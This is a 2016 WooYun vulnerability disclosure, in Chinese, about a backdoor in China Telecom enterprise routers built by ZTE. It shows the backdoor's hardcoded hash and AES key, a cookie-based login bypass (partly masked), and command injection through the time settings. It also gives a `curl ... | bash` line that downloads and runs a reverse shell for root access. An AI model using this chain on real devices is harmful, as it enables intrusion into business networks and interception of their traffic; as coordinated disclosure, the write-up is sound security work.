当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0190574

漏洞标题:中国电信天翼宽带政企平台路由设备存在后门可获取root权限进入上万政企内网

相关厂商:中国电信

漏洞作者: 唐朝实验室

提交时间:2016-03-30 01:50

修复时间:2016-06-30 17:40

公开时间:2016-06-30 17:40

漏洞类型:权限控制绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-30: 细节已通知厂商并且等待厂商处理中
2016-04-01: 厂商已经确认,细节仅向厂商公开
2016-04-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-26: 细节向核心白帽子及相关领域专家公开
2016-06-05: 细节向普通白帽子公开
2016-06-15: 细节向实习白帽子公开
2016-06-30: 细节向公众公开

简要描述:

电信天意宽带政企平台是电信给政府和企业做的一款设备(外包给中兴做的),其包括VPN、用户上网行为管理等功能。覆盖全上海乃至南方数个城市数万企业与政府网关设备,通过这个后门可直接获取路由器超级管理员账号密码,并取得路由器系统root权限,进而劫持企业内部流量。
经研究分析发现,该款路由器后门通过CPE广域网管理协议,被电信的云端服务器进行集中控制,企业敏感信息将被定期上报给云端。不敢深入了,想想就可怕。。。

详细说明:

电信天意宽带政企平台是电信给政府和企业做的一款设备(外包给中兴做的),其包括VPN、用户上网行为管理等功能。覆盖全上海乃至南方数个城市数万企业与政府网关设备,通过这个后门可直接获取路由器超级管理员账号密码,并取得路由器系统root权限,进而劫持企业内部流量。
长的这样:

00.png


通过各种手段拿到源码,开始审计。这款系统是用webif这款使用于openwrt平台的bash框架开发,本质上是bash脚本语言

简单看了一下,发现一处后门: /set/index.html。在未登录的情况下直接访问,将得到一个密码输入框:

01.png


查看当前页面表单提交位置:

14592248091939.jpg


查看其源码:

if empty "$FORM_password"; then
send_header
echo "<script>alert('${PASS_NULL}');history.back();</script>"
exit
fi
encyp_value=$(aes 0 256 "$FORM_password")
if [ "$encyp_value" = "820ff917fff0407f6dc8d69e09c78723" ]; then
...
cat <<EOF
<meta http-equiv="Refresh" content="0;url=/cgi-bin/webif/set.sh">
EOF
else
send_header
echo "<script>alert('${PASS_ERROR}');history.back();</script>"
fi


获取密码后,调用aes这个程序对密码进行加密后,与硬编码的字符串『820ff917fff0407f6dc8d69e09c78723』进行比较。
且不论后面怎么设置cookie的,可以先看看aes这个程序是怎么对密码进行解密的:

02.png


经过分析得知,aes第一个参数指明加密或解密,第二个参数是密钥长度,第三个参数是待加解密的字符串。
找到了密钥:

14592423347806.jpg


密钥就是 0x123456789abcdef03456789abcdef01256789abcdef01234789abcdef0123456。其实因为我拿到了aes这个程序,所以只需要在arm的机器上执行一下 `aes 1 256 820ff917fff0407f6dc8d69e09c78723`,即可得到答案。
后门密码是

mask 区域
*****fi*****

,登录之:

03.png


却提示登录超时?但观察一下可以发现,这个时候页面已经跳转到/cgi-bin/webif/set.sh了,也就是说前面的config登录成功后跳转到set.sh页面了,它在挡驾。
跟进一下:

#!/usr/bin/webif-page "-U /tmp -u 4096"
<?
. /usr/lib/webif/webif.sh
. /etc/feature
. /usr/bin/otdb.sh
selectdb="$SQLITE_CONN /usr/config/users_manage.db"


检查权限的代码在/usr/lib/webif/webif.sh,继续跟进:

mask 区域
*****ode*****
*****ogin*****
*****em_pas*****
*****nowt*****
*****oldt*****
**********
*****_bizbox_user*****
*****t_log*****
***** *****
***** .*****
*****
*****
*****
*****
**********
*****te}" != &qu*****
*****ck_l*****
*****i*****
*****cod*****


可见,这里有个check_login,检查Cookie中的bizstore_note是否正确。
那么,这个后门很明显了,首先需要设置

mask 区域
*****e_no*****

,才能够使用。
所以,先设置cookie,再访问/set/index.html,输入密码,成功登陆一个页面:

14592493357191.jpg


没见过吧,这个页面权限很高,可以直接查看超级管理员密码:

04.png


再去前台登陆之:

05.png


后台可以看到所有连接的主机(这个案例里的4台主机,有一个致远OA,一个winmail,一个SSL VPN):

06.png


有上网行为管理:

14592576368926.jpg


这还不算完,如果只到这一步,肯定不行。
后台找到一处命令执行,系统管理 -> 时间设置:

07.png


可以直接写一个反弹shell的脚本,用curl下载后,管道符传给bash运行:
`curl http://**.**.**.**/shell.sh | bash`

14592524780855.jpg


如上图,成功获取shell,而且是root权限。
我们可以利用tcpdump抓取流经路由的流量:

14592581016667.jpg


影响范围。撒旦上搜索一下,可见国内暴露在公网的设备有8000+,内网当然更多。因为这个设备是上海电信给国内政企平台做的设备,所以主要影响的IP在上海:

14592623023253.jpg


后续分析
在第一次进入的后门页面中,我们可以看到一处名为TR069的配置:

09.png


TR069规范是一个路由管理的标准规范。也就是说,存在这个协议的路由器,会根据规范被集中管理。而这里,我们看到ACS URL(就是对路由进行集中管理的云端),实际上是电信公司的服务器)。
并且这里开启了周期上报,走在企业中的敏感信息将会被定期上报到电信的云端上,想想就可怕。
另外一个有意思的点是,上面这个后门页面中,我们是可以关闭TR069的。但实际上在正常的管理页面中,关闭按钮、周期上报按钮都是不可写的:

08.png


可见,这款路由器在设计之初,就没有给用户关闭后门的方法。

漏洞证明:

给出一些案例吧。
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:443 管理平台登陆
**.**.**.**:80 管理平台登陆

修复方案:

版权声明:转载请注明来源 唐朝实验室@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2016-04-01 17:30

厂商回复:

CNVD确认所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-30 09:01 | 高小厨 认证白帽子 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    那么问题来了,为什么要留后门

  2. 2016-03-30 10:11 | hecate ( 普通白帽子 | Rank:864 漏洞数:132 | ®高级安全工程师 | WooYun认证√)

    @中兴通讯股份有限公司 你怎么看

  3. 2016-03-30 10:41 | Fu地魔 ( 路人 | Rank:20 漏洞数:8 | 无声无息)

    @高小厨 一看就是被日过,那么不然怎么会有后门。

  4. 2016-03-30 11:04 | PiaCa ( 普通白帽子 | Rank:137 漏洞数:11 | 简单点!啪......嚓~~)

    恐怖……

  5. 2016-03-30 11:51 | phith0n 认证白帽子 ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    万台企业级肉鸡,企业带宽不敢想。。。

  6. 2016-03-30 17:08 | Pzacker ( 实习白帽子 | Rank:92 漏洞数:34 )

    好流弊~~~

  7. 2016-03-31 20:36 | BMa 认证白帽子 ( 核心白帽子 | Rank:2078 漏洞数:229 )

    以前是家庭级,现在是企业级,什么时候运营商?

  8. 2016-04-25 23:56 | 泛海扬帆 ( 普通白帽子 | Rank:101 漏洞数:29 | 广告位招商 Tel:136xxxxxxxx)

    @中兴,额,难道接到订单又转包给别的公司,然后被人暗算了????

  9. 2016-06-06 09:52 | _Thorns ( 普通白帽子 | Rank:1755 漏洞数:270 | 以大多数人的努力程度之低,根本轮不到去拼...)

    没看懂解密的那个...